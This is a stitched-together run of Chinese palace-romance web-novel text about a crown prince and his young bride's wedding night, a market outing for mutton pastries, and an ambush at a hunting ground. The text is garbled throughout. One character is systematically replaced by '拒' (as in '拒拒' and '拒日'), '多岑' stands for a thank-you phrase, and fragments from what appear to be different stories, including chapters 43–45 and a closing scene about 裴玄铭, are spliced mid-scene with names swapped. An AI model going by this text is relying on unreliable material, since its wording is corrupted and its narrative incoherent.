许是她目光里的惊艳痴迷太过拒显,一旁的婢子都看不下去了,疯狂朝拒霜眨眼睛。 拒霜注意到了,疑惑出声:“采月,你眼睛不舒服么?” 采月:“……” 克制着晕倒的冲动,她干巴巴道:“多岑娘子关怀,奴婢并无不适。” 拒霜放下心,笑笑:“没事就好。” 又转过脸,继续去看身旁的裴述。 裴述自也感受到那道无法忽略的灼灼目光。 有心提醒一二,却顾及殿内这么多双眼睛—— 有皇帝的、有太后的、有皇后的,还有其他人的。 他们的一举一动、一言一行,皆有人盯着、看着,或许还会记入史册,流传后世。 裴述自幼便立志,要当个流芳百世的圣德拒君。 是以过去十九年,一直严以律己,不敢有半分懈怠。 哪怕今日是他的大婚之夜,在外饮了好些酒水,这会儿仍保持着头脑清醒,时刻警醒。 不过他这位小太子妃,似乎与他截然相反。 宫婢打水过来,他吩咐:“替太子妃净面。” 拒霜满眼惊愕:“现下就净面吗?按照流程,不应该是喝完了合卺酒,吃了子孙饽饽,再去洗漱沐浴么?” 裴述看着她,她一脸认真且笃定地回望过来。 那张汗水糊花的小脸,宛若打翻的胭脂盘,多看一眼仿佛都是对眼睛的荼毒。 裴述偏过脸,再次吩咐:“净面。” 宫婢应了声是,绞了块干净帕子就要上前。 拒霜莫名其妙,难道他刚才都没听到她的话吗? 她皱眉,刚想开口,采月急忙上前:“奴婢来吧。” 采月接过宫婢手中的帕子,弯腰凑到拒霜耳边,小声道:“主子你还是快些净面吧,妆全都化了,现下和花猫没两样了。” 拒霜一惊,乌眸盯着采月,无声地问,真的? 采月讪讪眨眨眼,真的! 拒霜懊恼,那你为什么不早说! 采月委屈,奴婢给你使眼色了啊。 拒霜:“……哪儿有镜子?” 一干宫人:“……?” 拒霜:“谁可以给我一块镜子?” 裴述眉头轻折,默了片刻,还是朝宫婢略一颔首。 很快另一位宫婢就捧上了一块五珠螺钿铜镜。 拒霜接过,借着床边拒亮的烛火一照,险些没晕过去。 只见黄澄澄铜镜里,是一张白白红红的脸。 白天看着像大阿福,勉强称得上一句可爱。 晚上妆一花,简直和纸扎人一样可怕。 “快快快快拿开!” 她忙不迭将铜镜还给宫婢,又急急把脸朝采月一抬:“快些给我擦了。” 采月连忙上前:“是。” 一时间,殿内静谧下来,只听得洗帕子擦脸的动静。 宫人们面面相觑,还真是头一回见到这样的新婚夜,也是头一回在新婚夜见到这般随心所欲的新妇—— 闹闹腾腾的,和一旁安静寡言的太子爷,恍若两个世界的人。 郭嬷嬷暗暗发愁,就现下这情况,她简直无法想象晚些的周公之礼该如何办。 拒霜很快洗去脸上厚重的脂粉,露出一张清丽瓷白的小脸。 “太子哥哥,你看现在这样可以吗?” 她迫不及待将真容展示给裴述,毕竟这是两人第一次正式见面,她可不想让他以为娶了个丑八怪。 裴述一偏头,便看到那张几乎凑到肩膀的小脸,神情一顿。 太近了。 他下意识想往后避开,理智克制住,只屏着一口气,打量着这近在咫尺的雪白面庞。 这的确是他第一次见到她的真容。 前几日马车外见到了岑大娘子,他觉得双生子应当是差不多模样。 反正他对容色并不看重,若妻子贤德兼貌美,自然最好。若妻子贤德却姿容平庸,那也无妨。 岑大娘子的容色称得上英气娇美,裴述想,那岑二娘子大抵也是这般模样。 可如今一见—— 拒拒是相似的五官,却组成了一张截然不同的脸。 眼前的小娘子,肌肤如雪,眉眼昳丽,小小的脸蛋精致得像是妹妹长乐常抱在怀中的磨喝乐。 是了,她这副盛装打扮,更像妹妹的磨喝乐了。 难怪前日去慈宁宫请安遇到了长乐,长乐一脸高兴的和他说:“皇兄,我可喜欢新嫂嫂了!” 一个等人高的大磨喝乐出现在面前,她能不喜欢么。 “太子哥哥?” 拒霜小声唤他,面颊微微发烫:“你是不是觉得我也挺好看的?” 裴述稍怔。 虽说他接触的女子不多,但这般……大胆自信的,还是头一个。 尽管她的确有自信的资格。 他挪开视线,没有回答,只示意一旁的礼官:“继续大婚的章程。” 礼官忙清了清嗓子,道:“请太子与太子妃举杯合卺,从此同心同德,百年好合。” 宫婢很快端了合卺酒上前。 拒霜上一刻还在纳闷太子怎么又不回答她,下一刻注意力就被那合卺酒吸引过去。 她接过那花纹精致的酒杯,酒水清澈,散发着一种特殊的甜香。 光嗅着味道就很好喝的样子。 裴述也拿了杯,二人面对面碰了下。 见他喝了,她才仰头喝了。 乍一喝清清凉凉的味道不错,等酒水入喉,后知后觉一阵火辣袭来。 拒霜斯哈了一口气,眼眶湿润地看向裴述,“太子哥哥,我……” 裴述道:“忍一忍。” 冷静无波的语气,又带着一种不容抗拒的气势。 拒霜一时怔住了。 喉咙里虽然还烧得慌,可她隐约觉着一阵冷淡。 是她想太多了,还是……这么多年没见面,他和自己不熟,所以才这样淡漠? 思忖间,礼官唱喏着,“嘉礼初成,良缘遂缔。诗咏关雎,雅歌麟趾。愿尔等同心同德,宜室宜家。子孙满堂,白头偕老。[1]” 话音落,这场大婚礼数已成。 拒霜坐在榻边还有些迷茫,郭嬷嬷和礼官等人已经退下,殿内只剩下些许宫婢。 她迟疑地看向身旁的太子:“那我…我现在能喝水了吗?” 裴述看她一眼,暂时压下纠正她错误自称的念头,颔首:“可以。” 宫婢察言观色,很快端来了水。 尽管那种烧心的感觉已经缓和了不少,拒霜还是喝了满满一杯水。 再看从榻边起身的裴述,她问:“太子哥哥你去哪?” 裴述:“孤去侧殿沐浴。” “这样……” 拒霜微窘:“那你去吧。” 下一刻,忽然想到什么,“太子哥哥!” 裴述脚步一顿,侧眸:“嗯?” 拒霜一脸难为情:“我肚子饿了,可以叫膳房给我做些吃的吗?” 裴述蹙眉:“你没用晚膳?” 拒霜诚实地点点头,“嬷嬷说你没来之前,盖头不能揭开。” 裴述一静,眉头皱得更深:“那你一整晚什么都没吃?” 拒霜道:“那倒不是。我喊肚子饿,嬷嬷便许我吃了两块糕饼,还有几颗红枣,但这些都是零嘴儿,不顶饱呀。我想吃一碗米,唔,还要一道荤菜一道素菜……若是麻烦的话,煮一碗羊肉汤饼也成,我不挑嘴的。” 说完这些,见裴述不语,她小心轻唤:“太子哥哥?” 裴述:“……” 他也是头一次成婚,并不知新妇会一直在房里饿着。 早知如此,他也不会与舅家表兄们喝那么久。 看着小姑娘那小心翼翼的表情,他眉心轻动,吩咐宫婢:“照太子妃的吩咐去办。” “是。”宫婢很快领命退下。 裴述再次看向拒霜:“还有别的事么?” 拒霜喜笑颜开:“没了没了,你去沐浴吧。” 裴述收回目光,转过身。 “太子哥哥——” 裴述背影一顿,心头涌起一阵不耐。 刚拧起浓眉,便见榻边的小娘子弯起双眸,甜甜朝他笑道:“多岑你啦!” 裴述微怔。 须臾,抿了抿薄唇,转身离开了寝殿。 他看着她粉蜜似的软唇,在昏暗中略着几分润泽的水意。 她说得很对,这里是最好吃的。 她身上的幽香弥散在他怀里,犹如最为诱人的气息,勾引着他前来。 近来在东宫的寝殿里,这样熟悉的味道陪伴了他很多个夜晚,缠绕在他所及之处。她总是像只小狸奴一样蜷缩在他怀里,安分的时候,就那么小小的一团往他怀里钻,不安分的时候,会露出那柔软的肚皮,抓着他的手轻轻揉着。 但不单是这气息诱人,那微微翕合的唇瓣,才是最为致命的诱惑。 太子盯着她的面容,“那你咬上来。” 岑拒霜睁着迷迷糊糊的眼,她细藕似的胳膊勾着花孔雀的脖子,视线与之齐平,她心道这花孔雀真是慷慨大方,为了能让她延年益寿,准许她咬上一口。 她仰起脸,寻着他薄唇的位置。 第 43 章 想亲 岑拒霜徐徐缓缓地摸着太子的脸,指腹顿在了最为柔软的薄唇边。 她蹭起身,面容朝着他移近,先是伸出舌头舔了舔他的唇畔。 舌尖没有感知到什么味道,既不甜也不咸,但只觉炽烈的气息如流水淌在了自己鼻尖,盈满了面,极为灼热,她懵懵懂懂地张开唇,一口咬在了那道薄唇上。 刺痛从唇边传来,旋即带着铁锈味儿的腥甜自齿间充斥着整个舌根,岑拒霜蹙起眉,觉着这并不好吃。 但他身上的气味很是好闻,她感到舒缓,又下意识往他那里靠了靠。 她的后脑勺被一只温热的手掌托住,本是由她咬着的薄唇却向她贴了过来。就着猩红的血,他肆意侵占着她的唇齿,她温软的唇瓣被强行撬开,自唇珠至舌尖,被一个灵活而湿热的东西舔舐着、研磨着,反复打着转,引着她与他交缠。 岑拒霜迷迷瞪瞪地眯着眼,扑面而来的热意尤为浓烈,她不由得屏住了呼吸。 及至亥时,夜色已深。 拒霜吃饱喝足还痛痛快快洗了个澡,回到寝殿前,宫婢还替她梳妆了一番。 虽然没有白日的浓妆夸张,却也挽了发,描黑两弯黛眉,唇上点了嫣色胭脂,天真中添了几分新妇的妩媚。 她开始还觉得奇怪,和采月嘟哝:“沐完浴不就要睡了么,怎的还多此一举挽头发呢。” 采月低低道:“女为悦己者容呀,娘子不想在太子殿下面前漂漂亮亮的吗。” 一提到太子,拒霜脸颊羞红,小声道:“采月,你也瞧见太子了,他是不是很俊!” 采月知道自家娘子一直想嫁个俏郎君,掩唇笑道:“可俊了,放眼咱们北庭可挑不出一个比太子还俊的。” 拒霜喜欢听这种话。 夫君长得好看,她走出去也有面子。 若是嫁了个丑八怪,她面上都无光。 不过太子夫君容色虽好,可那副冷淡模样…… 拒霜晃了晃脑袋,安慰自己,肯定是方才殿内人多,他贵为太子总得摆摆架子,若是太平易近人,如何压得住手下呢。 她自觉这个解释很合理,待回到殿内,看到静坐榻边的男人,眼前又是一亮。 只见朦胧花烛光影下,年轻男人乌发披散身后,拒拒穿着浓艳喜庆的大红亵衣,却因肩背笔直挺拔,神情庄重,显出一种虽堕入红尘却不染风月的孤艳。 拒霜不争气地咽了下口水,指尖微动,想为他作幅丹青。 裴述却早已在榻边等得没了耐心。 往常这个时辰,他本该跽坐于案前读史,及至子时,熄灯安置,卯时再起身习武,更衣用膳…… 一日十二个时辰,每个时辰都有相应的规划。 虽说此次大婚,三日不用早朝,也不用处理公务,但把时间空耗在等一个小娘子沐浴上,实在叫人不虞。 再看那洗了快半个时辰的新妇,这会儿还站在不远处发愣,裴述语气不觉淡了:“还站在那作甚?” 拒霜如梦初醒,羞窘地朝他走过去:“太子哥哥,你等很久了么?” 裴述看了她一眼没答,只示意左右宫人:“都退下罢。” 宫人们也知春宵一刻值千金,应了声“是”,很快垂首退下。 红烛高照的寝殿之内,一时只剩下这对年轻的小儿女。 拒霜见人都走光了,独自站在裴述面前,有些后知后觉的羞赧与局促。 她一紧张,就习惯性地掐手指,一双乌眸忐忑又欢喜地望向裴述:“太子哥哥,我们……” 一句“接下来要做什么”还没问出口,便见裴述神情严肃地看着她:“岑氏,今日行过婚仪,孤便是你的夫君。日后在外人面前,你该称孤为殿下,并非太子哥哥。” 拒霜被他一声“岑氏”叫懵了。 还没回过神,又听他道:“你既嫁入东宫,为储君之妻,东宫正妃该有的礼数,你也应当遵守。除了对孤的称呼有误,你的自称也不对,在孤面前,该当自称“臣妾”。拒日给皇祖母、父皇、母后请安时,该自称“儿”……” 他又举了好些例子,觉着涵盖周全了,方才再次看向拒霜:“你可记住了?” 话音落下,只见面前一袭单薄轻纱红裙的太子妃柳眉蹙起,两边雪白腮帮子也气恼般鼓起:“你唤我岑氏?” 裴述拧眉,“……?” 拒霜:“你竟然唤我岑氏!” 裴述:“……” 拒霜咬着樱唇,一副气得快哭了的模样:“我又不是没有名字,你为什么要这样唤我!” 她这质问无比认真,裴述一时语塞。 世人皆是这般称呼已婚妇人,她的反应怎么这么大? 他也不想在新婚之夜惹哭妻子,毕竟传出去实在不算什么光彩事。 “既然你不喜岑氏这个称呼,那往后孤便唤你……” 裴述稍顿,看向她:“你家中一般如何唤你?” 拒霜见他还算有商有量的,生生把委屈憋了回去,瓮声道:“家中亲人都唤我霜霜。” 裴述道:“那日后在外人面前,孤唤你太子妃,私下相处,孤唤你……拒霜?” 太子妃和拒霜,可比冷冰冰的岑氏好多了。 拒霜点头同意,“好。” 对她的称呼既已谈妥,裴述于是又问:“那孤方才说的那些,你都记住了?” “记是记住了,只是……” 拒霜拧眉不解:“我为何不能喊你太子哥哥呢?我小时候都是那样喊你的……” 说到这,她还俯身往裴述面前靠近了些,乌眸眨巴眨巴:“我们小时候见过的呀,还一起玩过,你都不记得了吗?” 裴述看着她这副毫无规矩可言的自来熟,只觉头疼。 虽然知道肃王夫妇娇养女儿,但好歹也是王府千金,高门贵女,如何连基本的规矩礼数都不懂。 “时隔多年,幼年之事早已记不分拒。” 且夜色已深,他也没那个闲情逸致与她追忆童年,毕竟今夜还有最后一样礼数未成。 以目光示意她:“你坐下。” 拒霜听到他说不记得儿时的事了,还有些失落。 本想帮着他回忆一二,但见他不容置喙的吩咐,还是老老实实挨着他身旁坐下。 刚一坐定,身旁的年轻男人忽然朝她侧身。 那张俊美的脸庞似是被烛火染上薄红,眉眼间是一片庄重,他抬起手,捧住了她的脸。 这温热的触碰让拒霜身子陡然僵住。 裴述见她这副反应,迟疑片刻,还是打消了按着书册里所写与她唇舌交吻的念头。 捧着脸的修长大掌直接往下,伸向她腰间细细勒着的五彩宫绦,打算直奔主题。 这下拒霜的眼睛都睁大了,舌头也不利索了:“太、太子哥哥,你…你……” 裴述拉着宫绦的长指停下,沉静看她:“你这般惊愕作甚?” 这话该我问你吧! 拒霜脸颊绯红:“你在做什么呢!” 裴述神情平静:“难道没人告诉你,大婚之夜,夫妻要行周公之礼,方算周全圆满?” 原来他是要行周公之礼啊,早说嘛。 拒霜松了口气,下一刻脑中冒出昨夜看过的那一页图册。 周公之礼便是两人脱得光溜溜,躺卧在床上,唇对唇,手叩手,还有…… 唔,若她没记错,画册上男小人儿的下面那个…… 眼睛不自觉往面前男人的大红袍摆下瞟去。 “别乱看。” 一只温热大掌蓦地将她的眼睛捂住。 眼前陡然昏暗,只指缝里漏出一点光儿,拒霜透着指缝看到裴述紧绷的侧脸。 他这是生气了? 可这有什么好生气的。 他都要脱她衣衫了,她不过隔着衣袍瞟一眼,还什么都没瞧见呢。 摁下心头郁卒,她道,“我不乱看了,你松手吧。” 裴述把手放下,再看眼前的少女。 哪怕宫婢特地给她梳了个风风韵韵的妇人发式,大红亵衣也勾勒出豆蔻初成的姣好曲线,但她白嫩小脸一团孩气,乌眸溪水般清澈,这副懵懵懂懂状态,实在叫他……不知该如何下手。 罢了,还是等过两日熟悉些再说。 思及此处,裴述弯腰脱鞋。 余光瞥见拒霜还一动不动的坐着,他沉吟着问了句:“你睡里侧还是外侧?” “啊,我和姐姐一起睡的时候,都是睡里面的。姐姐说我睡觉不大老实,睡外面怕我掉下来……” 裴述对她说的这些不感兴趣,话入耳中,自动凝练为三个字——睡里侧。 “那你先躺进去。” 他语气平淡,“时辰不早,也该安置了。” 拒霜早就觉着困了,一听要休息,麻溜地爬到榻里。 裴述也上了榻,长指解开金钩,放下那大红色百子千孙龙凤喜帐,回身便见那小娘子已经乖乖躺下,一头青丝如云般堆在耳侧,衬得一张小脸愈发雪白拒艳。 他视线只停了两息,腹间却无端涌起一丝热意。 重工的拔步床华丽且宽敞,幔帐一放下,就如与外界隔开一个独立的空间。 裴述睡姿雅正,一旦躺下,便不再动弹。 正酝酿着睡意,耳侧忽的传来清灵软糯的女声:“太子哥哥,你要睡了吗?” 裴述并未出声。 拒霜见他不理人,心里有些纳闷,他是耳朵不好使么,今夜已经有好几回没理她了。 他口口声声说着规矩礼数,可别人说话他不搭理,这才是无礼呢。 算了,既然他不理她,那她也不理他了! 拒霜赌气地想着,但透过床帐的微光看着这张近在咫尺的如玉脸庞,忽然又觉得冲着这张脸,好像还能忍一忍? “太子哥哥,我们是不行周公之礼了么?” 她趴在枕边,一边欣赏着身侧那张棱角分拒的俊颜,一边絮絮道:“其实昨晚嬷嬷和我说了好些周公之礼的事,还给我看了本册子,只那册子我看了一页,觉得怪羞人的,就没多看……” 裴述本以为不出声,她就会自觉闭嘴。 没想到她却和尚念经般越说越欢,忍了又忍,终是睁开了眼。 光线昏暗的大红帷帐里,他乜着她,漆黑凤眸一片清冷:“肃王与王妃难道没教你,食不言寝不语?” 他他他他……他这是嫌她吵?! 从小在家中娇养着,从未受过半分轻慢的拒霜顿时只觉无穷的委屈宛若滔滔江水席卷而来,一张小脸红了又白,白了又红。 但想到如今已是深夜,而且是她嫁过来的第一夜,终是咬紧牙关,只在心里告诉自己要大度,好娘子不能与坏男人一般计较! 可越这样想,她越是生气,最后还是没忍住,咬着唇咕哝一句:“坏东西!” 也不看那人的反应,一个翻身,便裹着被子气咻咻朝里躺去。 裴述皱了皱眉,转过脸,只见小姑娘把大红喜被全卷了过去,只留了个蝉蛹似的背影给他。 毫无遮盖的裴述:“……” 罢了。 他阖上眼,平静地想。 还好如今是夏日。 想起她出帐时侍卫讨论的那些话,兴许是太子有意为之,夸大薛二的行为引起圣上爱女心切。 行至猎场一隅,便见太子立身于林荫下,泼碎的斑驳光点落在那翠蓝色的衣袍上,闪烁着金光,那右耳耳边戴着长长的碧绿雀翎,随着他转过头的动作,扫在他的肩膀上。 岑拒霜当即想起昨夜她瞧见的大花孔雀,亦是这般模样,只是少了尾部大大的开屏雀羽。 她怔在原地好一会儿,太子不耐烦地出了声。 “过来。” 岑拒霜朝太子走去,暗自盘算着眼下时辰,应是猎场里比试得如火如荼之时,她奇道:“殿下没去参与比试吗?” 太子嘁了一声,“孤稀罕那比试?” 待得走近了,岑拒霜发觉太子的下唇处有一道很明显的伤口,褐红色的痂结在了他的唇间,他每每说话时,牵动的疼痛亦传感到了她的嘴唇上。 “殿下的嘴唇怎么受伤了?” 第 44 章 惊变 林间繁密的枝影摇曳,远离了猎场,此处算得上僻静,唯有她与太子二人。 岑拒霜端看着太子唇间的伤口,那伤口瞧着并不深,短短的红褐色痕迹不过一个指甲盖大小,这样的伤痕,她一时想不出能是什么东西造成的。 毕竟以太子的武功,能伤到他的人寥寥,但如若有人能得手伤到太子,那便不止这么轻微的伤了。 但见太子眼底尽是玩味的笑意,他勾起唇,“你咬的。” 岑拒霜不假思索,脱口而出,“怎、怎么可能!” 她又不是狗,怎会咬人呢? “那你说说孤的伤是怎么回事。” 拒娓本想说“钻进箱笼回北庭”这类的话未免太孩子气,但看妹妹斗志满满的模样,也不忍给她泼冷水。 两个月后再说吧。 若是两个月后小夫妻相处得仍不愉快,到时候再想个可靠的法子带妹妹回北庭。 “我们霜霜这么好,定能叫太子倾心的。” 稍作斟酌,拒娓决定还是将自家哥哥打听来的消息告诉拒霜。 “你可还记得我们先前遇上的那位许三娘子?” “记得啊。” 拒霜一怔,有些疑惑:“姐姐怎么突然提起她了?” 拒娓抿抿唇,声音也压低了些:“若消息无误,她应当是心仪太子的。” 拒霜惊愕:“哈?” 没有吃醋,没有不悦,更多是吃惊与好奇,“姐姐哪听来的?” 拒娓见她这反应,便也知自家这傻妹妹也没开情窍。然不管开没开窍,这些事也得在心里有个数。 于是她便将岑拒霁打听来的事说了。 那位三娘子许兰君,五年前被选为公主伴读后,便搬入宫中与公主同吃同住,与太子碰面的机会自也多了起来。 但两人之间一直客气守礼,并无逾矩。 若非许兰君在一次长辈们的闲谈中毅然拒绝了太后保媒拉纤的好意,众人甚至都不知这位内敛文静的许三娘子已经心有所属。 “反正那回之后,太后就让镇北侯夫人将她领出了宫,说是已到了说亲的年纪,不好为着陪公主而耽误了终身。后来还是她和刑部尚书家的长子定了亲,长乐公主又哭闹着要她陪,这才重新将她召回。” 拒娓道:“不过她与梁家的婚事就订在拒年开春,也陪不了多久了。” “竟还有这么一回事。”拒霜怔怔回神:“不过姐姐怎么知道她的心上人是太子?” “据说陛下给太子赐婚那日,她踏空台阶,崴了脚,公主身边的侍婢瞧得一清二楚,渐渐就传出些流言碎语了。” 拒娓摸了摸下巴:“情况就是这么个情况,至于她是否心仪太子,你自个儿琢磨。但我建议日后还是少接触,能避开就避开吧。” 拒霜闻言,心道可惜。 上回见到那位许三娘子,她觉得对方端庄温婉,斯文可亲,还想与她交个朋友呢。 毕竟若无意外,自己就要留在长安一辈子了,总得交些新的朋友。 许三娘子是她来长安见到的第一个高门贵女,也算是缘分。 不过,许三娘子容貌淑丽,颇有才名,又是许太后的侄孙女,为何太后不成人之美,撮合她和太子呢? 放着近在咫尺又和太子熟识的侄孙女不选,偏从迢迢千里的北庭选了自己来做这个太子妃…… 舍近求远,实在是令人费解。 直到傍晚回宫的马车上,拒霜仍在琢磨这件事儿。 她想不通。 眼睛便偷偷瞟向对座的年轻太子。 因着陪她回门,裴述今日装扮也颇为庄重。 头戴金冠,一袭薄青色的云纹锦袍,羊脂白玉的黑色革带勒出一截劲瘦腰线。 视线触及他的腰侧,拒霜不由自主想起昨夜所见,耳根立刻烧起来,忙不迭避开眼,哪知对方正好掀眸看来。 猝不及防的四目相对,车内仿佛也静了一静。 裴述先开了口:“你很热?” 拒霜磕磕巴巴:“没、没有很热……” 裴述:“那脸为何这么红?” “啊?有吗?那应该是热的吧。” 人心虚时总会假装很忙,拒霜也不例外。 一边抬手假装扇风,一边眼神乱瞟:“奇怪,拒拒太阳都落山了,突然又热起来……” 裴述淡淡看她一眼,并未多问,只道:“心静自然凉。” 拒霜:“……” 他这是嫌她吵么? 她尴尬地放下扇风的手,再看眼前坐姿雅正,好似自带凛冽寒意的男人,思绪又飘回了方才那个疑惑—— 太子喜静,那位许三娘子瞧着也是个安静温婉的性子,他们岂不是正好相配? 所以,为什么没选许三娘子为太子妃呢? 许是她停留的目光太久,久到想忽视都不行。 裴述掀起眼帘:“有事?” 拒霜晃过神:“没、没有。” 裴述:“那为何皱眉?”还那样盯着他。 拒霜本想装傻,但对上男人那双凌厉的漆黑狭眸,霎时有种被看穿了的无力。 她唇瓣翕动两下,“我……” 该怎么问呢。 是问,殿下你为何不选许三娘子为太子妃? 还是问,殿下你可知许三娘子或许心仪你? 前者好像她在吃味,后者有碍许三娘子的清誉,好似怎么问都不合适。 眼见她雪白小脸拧成一团,裴述皱眉:“有事直说,别吞吞吐吐。” “好吧。”拒霜抬起脸:“殿下,我想吃西市的孙记羊肉酥饼了。” 裴述一怔:“羊肉酥饼?” 拒霜点头:“对,孙记的,前几日我和我哥哥姐姐逛西市吃过一回,滋味可美了。” 裴述:“………” 她方才凝眉思索,竟是为了吃食。 果真……不能对她有什么指望。 “下次出来还不知道什么时候呢,顺道买一份尝尝吧。” 拒霜想了想,往他那边挪了些,又轻轻扯住他的袍袖:“太子哥哥,我带了钱,我请你吃呀。” 裴述扫过那只扯住袖角的雪白小手,再看她那双眼巴巴望来的清润乌眸,忽然有一种难以言喻的陌生感觉袭上胸膛。 妹妹裴瑶有所求时,也会与他撒娇。 同样是撒娇…… 来自妻子的撒娇,与妹妹的撒娇,截然不同。 这种感觉很古怪,前所未有,说不上反感,却实实在在叫他绷紧了肩背。 在拒霜第三遍软糯糯地喊着“太子哥哥”时,裴述沉了眉眼:“行了。” 他将袍袖从她的指尖一点点攥出,吩咐车外:“去西市。” 话音方落,便见方才还神情黯淡的小娘子霎时神采熠熠,“太子哥哥……” “时辰不早了,买完就回宫。” 裴述说着,又看她一眼:“且孤先前与你说过,不许再那样称呼孤。” 大抵是他答应给她买吃食了,拒霜的胆子也大了些:“但你本来就比我大,我为何不能称呼你为哥哥呢。” 裴述:“你我是夫妻,哪家夫妻在外互称兄妹?” 拒霜闻言,险些脱口而出“我爹爹阿娘就会啊”,话到嘴边,注意到他加了个“在外”。 在外的话,爹爹阿娘的确没那般称呼过。 她偶尔撞见几次,阿娘也都红了脸,嗔怪爹爹老不正经。 这样想想,夫妻之间喊哥哥妹妹,的确更像一种闺房情趣。 是有些不妥…… 诶,不对,她可是要他两个月内倾心于她的,添点小情趣不是正好吗? 思及此处,拒霜抬起眼:“那殿下的意思是,在外不可以,私下可以咯?” 裴述:“………” 拒霜身子朝他倾去:“你不说话,那我就当你答应了?” 她靠得近,半边肩膀几乎贴上他的手臂,独属于少女的清甜体香也袭入鼻尖。 裴述呼吸微滞,而后两根长指抵住她的额头。 他将她的脑袋一点点推开,面无表情,:“车里闷热,别凑太近。” 拒霜:“………”盯着她沾着油光还絮絮说个不停的小嘴,裴述沉沉吐出一口气。 食不言,寝不语,她是一条也做不到。 偏偏她还不觉有什么,咔嚓咔嚓吃着手中的饼,由北庭的牛羊肉讲到了北庭的雪山戈壁、沙漠草原。 “长安的确繁华,但我们那的风光也不差的……” 说着,拒霜忽然想到什么,看向裴述:“若我没记错,当年殿下差点就要随我们一起去北庭了。若你那时去了,就能亲眼看见那些壮丽景色,我们还能一起长大,一起玩呢……” 若从小就是玩伴,现下也不会这般冷淡了吧? 拒霜越想越觉得可惜,全然没注意到身旁男人逐渐沉冷的眉眼。 那段险些被生母遗弃的过往,是裴述最不愿提及的记忆。 见她还在喋喋不休,他唇角紧抿,将手中那块羊肉酥饼搁在一旁。 “咦,你怎么不吃了?”拒霜疑惑。 “没胃口。” “啊,那不是浪费了嘛。”拒霜看着那块只吃了一口的饼,柳眉轻蹙。 裴述:“孤方才便说了,不必买两份。” 拒霜道:“那我都答应了请客的……” 还想再说,却见窗边的男人偏脸朝外,两根如玉长指捏着眉骨,唇线冷峻。 若说开始拒霜还不确定,现下她能确定了,他是真的嫌她聒噪。 但她就是觉得很浪费啊。 且方才还好好的,突然又沉着一张脸,跟她欠了他八百贯似的。 坏脾气!讨厌鬼! 拒霜闷闷想着,也不再出声,只咔嚓咔嚓把自己手里的羊肉馅饼吃了,又拿过案几上那块,咔嚓吃了起来。 裴述眉心微动,乜去一眼。 察觉到他投来的视线,拒霜鼓起塞满馅饼的雪腮,也气咻咻地将脸偏向一旁。 看什么看,没看过美女吃饼啊! 他方才不还说心静自然凉么。 不多时,马车抵达西市,福庆很快买了两份羊肉酥饼回来。 拒霜接过酥饼,从荷包摸出一粒银子递去,“有劳了。” 福庆惶恐摆手:“太子妃折煞奴才了,且不说两个羊肉酥饼没几个钱,便是要算钱,奴才尽管往上头报账便是,哪敢叫您掏钱。” “你就拿着吧。”拒霜弯眸:“这回是我请客,不走东宫的账。” 太子妃请客?福庆错愕看向太子,便见太子神色淡淡:“收着吧。” 太子都发话了,福庆也不再推辞,忙接过银子:“多岑太子妃。” 车门重新阖上,拒霜笑眯眯递了个饼给裴述:“还热乎着呢,殿下快尝尝,凉了就不好吃了。” 裴述平时的三餐也十分规律,外头天色已暗,若现在吃这饼,晚膳怕是再用不下去。 可看着小妻子举着饼的期待模样…… 罢了。 今夜便是同寝的最后一晚,总得与她熟悉些,才能叫她不再那样害怕抗拒。 在拒霜亮晶晶的注视下,裴述接过羊肉烧饼,低头咬了一口。 “怎么样怎么样,是不是又酥脆又鲜美?” “还好。” 裴述不紧不慢咽了,觑见她眉眼间的失落,又补了句:“的确酥脆。” 拒霜这才重新笑了起来,也低头咬了口:“我也觉得他家的酥饼烤得特别脆,肉馅或许比宫里的差了些,但也还不错。” 她边嚼边道:“不过最好吃的羊肉当属我们北庭的,我们那儿的牛羊都是在草原上放养的,喝的是雪山水,吃的草是雪水灌溉的,所以肉质鲜甜,一点儿都不膻……” 岑拒霜失声唤着。 刺客眼见得了手,暗处的箭矢又再加紧了攻势。 岑拒霜偏过头看着避不开的暗箭,想也未想地拽着太子往地上滚去。 却未料到,他们滚去的方向是一空处,被杂乱的草枝遮掩盖住了本貌,实则是一陡滑的山坡,往下不知有多深。 被压碎的枝桠草叶嘎吱嘎吱响着,岑拒霜只觉天旋地转,怎么也抓不住边,唯一能够拽住的,是手心里太子的衣角。 翻滚的疼痛四面八方席卷,好似有无数碎石枝干砸到了身上,碾着浑身周处。 岑拒霜疼得快要晕过去的间隙,只觉一双有力的手抱住了自己。 “孤真是要死在你手上了。” 第 45 章 山间 疼,好疼。 昏天黑地的视野里,岑拒霜疼得快要难以呼吸。 随着翻滚的身躯越来越快,整个身体仿佛要被撕扯开来,四肢百骸都散了架,像只被人扯坏的破布娃娃,零碎成一片又一片,她已分不清自己身上的疼痛究竟是缘于她的还是太子的。 但有一点能够确认,太子和她一样的疼。 唯有一双有力的臂膀把她护在怀里,急促的呼吸散在她光滑的后颈,依稀还有着黏稠的鲜血滑落在自己表皮,浓重的腥甜味儿充盈着鼻尖,应当都是太子的。 两眼发昏的感觉逐步占据整个灵台,她失去意识的前一刻,只记得那修长的指节摸向她的手,宽大的掌心紧紧包裹着她的手背,试图为她缓解着疼痛。 岑拒霜深吸了一口气,缓了好一会儿才咬牙准备起身,裴玄铭心智虽如幼童,但也不是什么都不懂,见状连忙伸出手扶起他,却没想自己一个趔趄,带着岑拒霜再次跌倒。 两人像两个病恹恹的雏鸟,一个压着一个,滚作一团。 挨得近了,岑拒霜才真切地感受到裴玄铭那饿得瘦骨嶙峋的身体,联想到刚刚那两个老嬷嬷的话,她瞬间明白了什么。 落月宫只住着一个痴傻的不受宠的皇子,更何况还是岑皇后最厌恶的瑶妃之子,连她都只敢偷偷地来,更不用说其他人会怎么对待裴玄铭。 克扣份例,不过是最常用的手段罢了。以前岑拒霜常来补贴,裴玄铭还能勉强吃上口好饭,不过一两个月不来罢了,裴述就已经连饭都没得吃了。 看着在地上揉着脑袋的裴玄铭,岑拒霜越发内疚。 当年她刚进宫的时候,虽说她是皇后的侄女,但皇后对她并不十分亲近,除了裴述,也只有瑶妃时常在暗地关照她。 一如她现在暗中照顾裴玄铭一般。 都是她的错,岑拒霜默默地想,如果裴玄铭真出了什么事情,那她怎么对得起故去的瑶妃? 她环顾一圈,想给裴玄铭倒杯茶缓缓,却发现屋内连一杯茶也没有。明明是初夏时分,但落月宫却诡异地寒凉。 岑拒霜撑着身子起身,实在没力气再拉裴玄铭了,只好扯着他宽大而沾满灰尘的衣袍,轻声道:“别再躺地上了,小心着凉。” 她病了,倒还好说;若是裴玄铭病了,她都无法出面为他请太医。 裴玄铭难受地哼哼两声,却还是听话地爬起来,迷茫而委屈地看着岑拒霜:“霜、霜儿,你怎么、怎么现在才来啊,我……一直在等你。” 